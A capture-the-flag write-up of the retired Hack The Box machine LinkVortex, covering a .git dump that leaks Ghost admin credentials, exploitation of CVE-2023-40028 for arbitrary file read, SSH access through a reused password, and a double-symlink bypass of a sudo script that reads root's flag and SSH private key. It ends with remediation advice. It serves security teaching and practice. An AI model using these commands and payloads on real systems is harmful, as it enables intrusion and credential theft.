root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat linkvortex.md
// writeups

LinkVortex

7 Dec 2024 · 16 min read
LinkVortex - maquina de Hack The Box

Executive summary — LinkVortex starts from an exposed .git repository on a development subdomain, which leaks a hardcoded admin password sitting inside a test file. That password unlocks a Ghost CMS admin session, which is used to exploit CVE-2023-40028 — a symlink smuggled inside an imported ZIP that the decompression routine never filters — to read arbitrary files off the box and recover plaintext SMTP credentials. Those credentials, reused as the SSH password for a system account, hand over user.txt; for root, a sudo script that "quarantines" symlinks falls to a double symlink because it only validates the first hop of the chain.

PlatformHack The Box
Operating systemLinux (Ubuntu 22.04)
CategoryWeb / Ghost CMS
DifficultyEasy
StatusRetired
Target IP10.129.231.194

Attack map

[80] linkvortex.htb — Ghost CMS 5.58 blog (the redirect reveals the vhost)
   │  vhost dev.linkvortex.htb — "Launching Soon", with .git/ exposed and served
   ▼
[.git dump] credential leak — test password + config.production.json path
   │  admin@linkvortex.htb / OctopiFociPilfer45 -> valid Ghost admin session
   ▼
[Ghost Admin] CVE-2023-40028 — ZIP import with a symlink, extract-zip doesn't filter it
   │  arbitrary file read with the privileges of the Ghost process (node)
   ▼
[LFI] config.production.json -> SMTP credentials: bob@linkvortex.htb / fibber-talented-worth
   │  same password reused as the SSH password for the system account bob
   ▼
[SSH]  bob  (user.txt)
   │  sudo NOPASSWD /opt/ghost/clean_symlink.sh *.png — single-hop readlink filter
   ▼
[ROOT]  double symlink (evil.png -> stage -> /root/root.txt) evades the filter,
        the final cat resolves the whole chain

1. Reconnaissance

nmap -sV -sC --top-ports 50 -Pn -oN recon/nmap-top.txt 10.129.231.194
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/

OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 places the target on Ubuntu 22.04 LTS. The unfollowed redirect hands over the main vhost, linkvortex.htb, for free — no fuzzing needed.

echo "10.129.231.194 linkvortex.htb" | sudo tee -a /etc/hosts

A full nmap -p- confirms only two real open ports: the whole attack surface lives on port 80.

curl -s http://linkvortex.htb/ | grep -iE 'generator|X-Powered'
<meta name="generator" content="Ghost 5.58">
X-Powered-By: Express

A blog built on Ghost CMS 5.58 ("BitByBit Hardware") running on Node/Express behind Apache, with the admin panel reachable at /ghost (200). The version is the clue that matters: Ghost ≤ 5.59 carries CVE-2023-40028.

The server returns a catch-all response (200, same size) for any unrecognized Host, so finding real vhosts means comparing status code and size against that baseline, not trusting a bare 200:

for sub in dev devops git staging test admin blog api internal; do
  r=$(curl -s -o /dev/null -w "%{http_code}:%{size_download}" -H "Host:$sub.linkvortex.htb" http://linkvortex.htb/)
  echo "$sub.linkvortex.htb ->$r"
done
dev.linkvortex.htb     -> 200:2538     <- different: real vhost
devops.linkvortex.htb  -> 301:230
git.linkvortex.htb     -> 301:230      (everything else redirects the same way)

Only dev.linkvortex.htb answers differently from the rest — a real vhost, not a catch-all false positive. Its landing page is a static "Launching Soon" screen with no apparent content. When a server answers identically to any Host, running an uncalibrated ffuf generates hundreds of false positives; always diff against the baseline response before trusting the list.

2. Credential leak via an exposed .git

The dev vhost was deployed with git clone/pull run directly in the docroot, leaving the .git/ folder SERVED by the web server. Anyone can reconstruct the full repository history and pull out secrets that were never meant to leave the development box (CWE-527: Exposure of Version-Control Repository, CWE-540: Inclusion of Sensitive Information in Source Code).

curl -s -o /dev/null -w "%{http_code}\n" http://dev.linkvortex.htb/.git/HEAD   # 200
curl -s http://dev.linkvortex.htb/.git/config
[remote "origin"]
        url = https://github.com/TryGhost/Ghost.git
        fetch = +refs/tags/v5.58.0:refs/tags/v5.58.0

Confirms exactly what's running in production: the official Ghost repo itself, at tag v5.58.0. With .git/ reachable, a full dump:

git-dumper http://dev.linkvortex.htb/.git loot/git-dump
cd loot/git-dump && git status
Changes to be committed:
        new file:   Dockerfile.ghost
        modified:   ghost/core/test/regression/api/admin/authentication.test.js

Two files differ from the official history — exactly where an attacker should look: local changes on top of an upstream repo are usually deployment-specific config or secrets.

git diff --cached | grep -iE '\+.*(password|COPY|config)'
+++ b/Dockerfile.ghost
+FROM ghost:5.58.0
+COPY config.production.json /var/lib/ghost/config.production.json     <- exact config path
+++ b/ghost/core/test/regression/api/admin/authentication.test.js
+            const password = 'OctopiFociPilfer45';

Two gifts in the same diff: (1) a password hardcoded in a test file (OctopiFociPilfer45, CWE-798: Use of Hard-coded Credentials) — it should never have been a real password to begin with, let alone shipped in a repo served in production; (2) Dockerfile.ghost reveals the exact path of the production config (/var/lib/ghost/config.production.json), which becomes the key detail in the next phase.

Password in hand, only a username is missing. The admin email is guessed from the domain itself (admin@linkvortex.htb), and Ghost's session API confirms the pair directly:

curl -s -o /dev/null -w "%{http_code}\n" -H "Content-Type: application/json" \
  -H "Origin: http://linkvortex.htb" \
  -d '{"username":"admin@linkvortex.htb","password":"OctopiFociPilfer45"}' \
  http://linkvortex.htb/ghost/api/admin/session/

201 Created — a valid admin session: admin@linkvortex.htb / OctopiFociPilfer45.

3. Exploitation — CVE-2023-40028: arbitrary file read

Ghost lets an authenticated user import content from a ZIP file. Decompression relies on the extract-zip library, which doesn't reject symbolic links inside the archive. A ZIP can carry a symlink at content/images/<...>.png pointing anywhere on the filesystem. After import, that link sits as-is inside Ghost's content directory, and when requested over HTTP the server follows the symlink and serves the target file with the privileges of the user running Ghost (CWE-59: Improper Link Resolution Before File Access, CWE-22: Path Traversal). Affects Ghost < 5.59.1 — matching the 5.58 build seen during recon.

Exploit anatomy, in four steps:

  • Login — POST /ghost/api/v3/admin/session/ with the credentials leaked from .git -> session cookie (201).
  • Local ZIP — content/images/2024/<rnd>.png is placed inside as a symlink pointing at the target file, packaged with zip -y (the flag that preserves symlinks instead of resolving them while zipping).
  • Import — POST /ghost/api/v3/admin/db with the headers X-Ghost-Version: 5.58 and X-Requested-With: XMLHttpRequest, and the ZIP in the importfile field.
  • Read — GET /content/images/2024/<rnd>.png: Ghost follows the link and returns the real content of the target file.

PoC against /etc/passwd:

root:x:0:0:root:/root:/bin/bash
node:x:1000:1000::/home/node:/bin/bash        <- Ghost runs as 'node'

With the primitive confirmed, the real prize is the path revealed by Dockerfile.ghost in the previous phase:

"mail": {
   "transport": "SMTP",
   "options": {
     "host": "linkvortex.htb", "port": 587,
     "auth": { "user": "bob@linkvortex.htb", "pass": "fibber-talented-worth" }
   }
}

Plaintext SMTP credentials: bob@linkvortex.htb / fibber-talented-worth.

4. Foothold — SSH as bob (user.txt)

The mail password is tried directly as the SSH password for the system user bob — and it works:

sshpass -p 'fibber-talented-worth' ssh -o StrictHostKeyChecking=no bob@linkvortex.htb 'id; cat ~/user.txt'
uid=1001(bob) gid=1001(bob) groups=1001(bob)
369817e97ded02163c9ce72949d22310

The same password serves both the SMTP mailbox and the system account — credential reuse between services (CWE-521: Weak Password Requirements, CWE-522: Insufficiently Protected Credentials).

user.txt: 369817e97ded02163c9ce72949d22310

5. Privilege escalation — double symlink in a sudo script

sudo -l
Matching Defaults entries for bob on linkvortex:
    env_reset, mail_badpass, secure_path=..., use_pty, env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

Three crucial details in that output:

  • NOPASSWD on clean_symlink.sh, restricted to an argument ending in .png.
  • env_keep+=CHECK_CONTENT — an environment variable the user controls survives execution under sudo instead of being reset.
  • use_pty — sudo requires a pseudo-terminal; over SSH that means forcing ssh -tt.
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then CHECK_CONTENT=false; fi
LINK=$1
if ![[ "$LINK" =~ \.png$ ]]; then echo "! First argument must be a png file !"; exit 2; fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    echo "! Trying to read critical files, removing link !"; /usr/bin/unlink $LINK
  else
    echo "Link found, moving it to quarantine"; /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then echo "Content:"; /usr/bin/cat $QUAR_DIR/$LINK_NAME; fi
  fi
fi

The script "quarantines" symlinks and, when CHECK_CONTENT is set, prints their content as root. The only defense against reading sensitive files is a grep -E '(etc|root)' over the output of readlink $LINK. The flaw: readlink without -f returns only the immediate target — a single hop of the chain. If the .png points at an innocuously-named intermediate link, that first hop sails through the filter — but the final cat resolves the entire chain down to the real file, bypassing the very link the filter had checked (CWE-59, CWE-73: External Control of File Name or Path, and CWE-15: External Control of System or Configuration Setting for the CHECK_CONTENT variable being controllable via env_keep).

Double-symlink payload: evil.png -> /home/bob/stage -> <target>. readlink only ever sees stage (no etc or root in it, passes the filter); the final cat reaches the real file by following the second hop.

ln -s "$TARGET"          /home/bob/stage      # first hop (hidden from the filter)
ln -s /home/bob/stage /home/bob/evil.png   # the visible .png
export CHECK_CONTENT=true                   # survives sudo (env_keep)
sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/evil.png

Run over SSH forcing a pseudo-terminal (required by use_pty):

ssh -tt bob@linkvortex.htb './rs.sh /root/root.txt'
Link found [ /home/bob/evil.png ] , moving it to quarantine
Content:
7b7e226d30e10d26ff43bd9a36b0c466

root.txt: 7b7e226d30e10d26ff43bd9a36b0c466

The same primitive, pointed at root's private key, gives a persistent shell without depending on the sudo window:

ssh -tt bob@linkvortex.htb './rs.sh /root/.ssh/id_rsa' > loot/root_id_rsa
chmod 600 loot/root_id_rsa
ssh -i loot/root_id_rsa root@linkvortex.htb 'id; hostname'
uid=0(root) gid=0(root) groups=0(root)  ·  linkvortex

Vulnerability summary

PhaseComponentVulnerabilityImpact
Credential leakdev.linkvortex.htb/.git/Git repository served in production (CWE-527/CWE-540) with a password hardcoded in a test (CWE-798)Valid Ghost admin credentials
ExploitationGhost CMS 5.58 — content importCVE-2023-40028 — symlink in an imported ZIP not filtered by extract-zip (CWE-59/CWE-22)Arbitrary file read as node -> plaintext SMTP credentials
Lateral movementSSH / system account bobSMTP password reused as the SSH password (CWE-521/CWE-522)Access as bob (user.txt)
PrivEsc/opt/ghost/clean_symlink.sh (sudo NOPASSWD)Single-hop readlink filter vs. full chain resolution in cat; CHECK_CONTENT controllable via env_keep (CWE-59/CWE-73/CWE-15)Root via double symlink (root.txt + root's SSH key)

Lessons learned

  • Never deploy with git clone/pull straight into the docroot: use git archive, a CI/CD-built artifact, or rsync --exclude='.git'. And block web access to any .git path at the Apache/Nginx level, just in case.
  • Never real credentials in tests or source code: secrets belong outside the repository (secrets manager, env vars), and the history should be scanned with tools like gitleaks or trufflehog before every release.
  • Keep Ghost updated to >= 5.59.1 and run it with least privilege; the content/ directory should live on a filesystem or configuration that rejects symlinks pointing outside its own tree.
  • Unique passwords per service — a compromised SMTP mailbox should never translate into SSH access — and SSH authentication by public key only, never by password.
  • A sudo-privileged script that validates symlinks must resolve the full chain before deciding (realpath -e), not just the first hop via readlink; and it should never trust environment variables preserved from the caller (env_keep) while running as root.